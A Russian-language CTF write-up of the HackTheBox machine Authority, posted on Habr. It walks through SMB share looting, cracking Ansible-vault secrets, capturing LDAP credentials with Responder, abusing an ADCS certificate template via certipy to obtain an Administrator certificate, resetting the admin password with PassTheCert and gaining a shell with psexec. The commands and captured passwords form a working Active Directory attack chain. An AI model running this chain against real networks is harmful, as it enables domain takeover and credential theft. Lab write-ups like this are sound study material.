HackTheBox Authority writeup- получаем права админа через PassTheCert

Приветствую вас, кулхацкеры. Сегодняшний райт будет посвящен прохождению машины с HackTheBox под названием Authority.

abc6fae44665a6cc6a051353307e19a3.png

Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях

Сканирование и разведка

Как всегда начинаем с разведки при помощи Nmap:

nmap -sC -sV -Pn -p- 10.10.11.222

c6f0801d05a7f0f3269d2dde0e73094c.pngb62bf081f65840544f9a97727a313ebc.png

Первым делом попробуем подключиться к хосту при помощи smbclient для просмотра доступных шар:

smbclient -L 10.10.11.222 -U " " 

cb182be49024d836c0b7b7c87acfce4c.png

При попытке подключиться к \Department Shares нам отказывают в доступе. Значит попытаемся подключиться без пароля к шаре \Development:

smbclient \\\\10.10.11.222\\Development -U ""

845a14d8aec456760dd53c91a257fb4a.png

Выкачаем все файлы, воспользовавшись следующими командами:

recurse on

prompt off

mget *

recurse → переключает рекурсию папок для команд mget и mput.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды

prompt → переключает запрос имен файлов во время операций команд mget и mput. Если запрос выключен, все указанные файлы будут переданы без запроса.

mget * → скачивает файлы с сервера на машину

Изучив директории, мы наткнемся на интересный файл под названием main.yml, который можно найти по абсолютному пути Automation\Ansible\PWM\defaults\main.yml

ba34f6092cc6886a741230b9c734be2a.png

Это не что иное, как Ansible-vault учетные данные.

40f6a7db600ec25b7bbeece2a1b047d6.png

Представим все хеши по отдельности, чтобы сделать их читаемыми для утилиты JohnTheRipper при помощи скрипта ansible2john:

ansible2john admin.txt > hash1.txt

60bb8bf7f018630605ec45ed27f850cd.png

Получим пароль, с помощью которого проводилось шифрование при помощи улититы ansible-vault, входящей в состав фреймворка Ansible. Зная пароль, сможем обратно расшифровать нужные нам данные:

cat admin1.txt | ansible-vault decrypt

9bf87aae080672ce1fd84b60620c7634.png

На 80 порту ничего примечательного обнаружено не было. На 8443 порту висит приложение, интегрированное с LDAP. Попробуем зайти на веб-страницу:

94b37fecc4b5b48ab3ac8b69951b4076.png

Войти под полученными нами учетными не удалось. Попробуем зайти в Configuration Manager при помощи другого пароля:

835baa76609e5b400a4375b7759c1a82.pngd090f0f30de72a922c599f6d1ae52fe9.png

Успешно. Тем не менее, при попытке установить связь с LDAPS-сервером возникла ошибка, означающая невозможность установления соединения. Также здесь мы находим пользователя с именем svc_ldap.
Внимательно изучив страницу, станет ясно, что мы можем изменять файл конфигурации. Значит мы сможем изменить параметры конфигурации и, запустив Responder, симитируем LDAP-сервер, что позволит нам отслеживать передаваемую информацию. Изменим конфигурациионный файл, подставив в параметры данные нашей машины:

44a18e9cf71b8139a97d6849c317fc9e.png

Выступаем в качестве LDAP-сервера при помощи Responder

Запустим Responder:

sudo responder -I tun0 -wA

И получим пароль в открытом виде:

39b6b528c34186fd052fe79007324d31.png

Подключаемся при помощи Evil-WinRM

Для удаленного подключения воспользуемся утилитой Evil-WinRM:

evil-winrm -i 10.10.11.222 --user svc_ldap --password 'lDaP_1n_th3_cle4r!'

f57075afbe1dd240171207a1e42a5ed7.png

Здесь будет находится первый флаг user.txt

Эскалация привилегий

Посмотрим информацию о пользователе при помощи команды whoami /all

01c1edb77ac67b0c2cc1bd724b1f3963.png

У пользователя имеется привилегия на добавление машины в домен SeMachineAccountPrivilege, а это значит что мы можем добавить компьютер в домен с помощью учетных данных svc_ldap. Для этого воспользуемся модулем addcomputer утилиты Impacket:

impacket-addcomputer -dc-ip 10.10.11.222 -computer-name hacker_PC  -computer-pass pass1234 'htb.local/svc_ldap:lDaP_1n_th3_cle4r!'

ef768ffbd6d67c9a880e1156111aff81.png

Машинная учетная запись успешно добавлена! Теперь мы можем использовать недавно полученные учетные данные для получения «шаблона сертификата» с сервера. Для этого воспользуемся утилитой certipy:

certipy-ad find -u "hacker_PC" -p "pass1234" -dc-ip 10.10.11.222

7b7439593b01e6ad46811ec8229c793b.pngbd113bb6997341adca13ddac84fb33e7.png

Изучив сертификат, мы обнаружили, что в нем присутствует уязвимость, позволяющая любому компьютеру домена запросить сертификат администратора.

Теперь мы можем использовать недавно полученные имя пользователя и пароль для получения «шаблона сертификата» с сервера.

Здесь снова воспользуемся certipy-ad:

certipy-ad req  -username "hacker_PC$" -p "pass1234" -template CorpVPN  -dc-ip 10.10.11.222 -ca AUTHORITY-CA -upn 'Administrator@authority.htb'

ff896b2f872316f1554bca48ec5f0b1c.png

Получив сертификат, попробуем пройти с помощью него аутентификацию и запросить NT-хеш учетной записи:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.222

3e88f4ae7d813100740fc41e6eca129c.png

Однако пройти аутентификацию не удалось, так как Kerberos не поддерживает механизм PKINIT. Для прохождения воспользуемся утилитой PassTheCert. Но для начала разделим сертификат и ключ с помощью certipy-ad:

certipy-ad cert -pfx administrator.pfx -nokey -out user.crt 
certipy-ad cert -pfx administrator.pfx -nocert -out user.key

084b17724af27652f96ef1b05b6453df.png

Получив ключ и сертификат, воспользуемся ими, чтобы запросить новый пароль администратора:

python passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator 
-new-pass

cc5eb9c2735a572a900a9005c8018d2c.png

Теперь воспользуемся утилитой psexec для получения шелла:

impacket-psexec administrator:y50xccLr62vDYhFrmakcoJocBkiO5UnN@10.10.11.222

deda5e2b90a0ec76f429c53807bd8e11.png

© Habrahabr.ru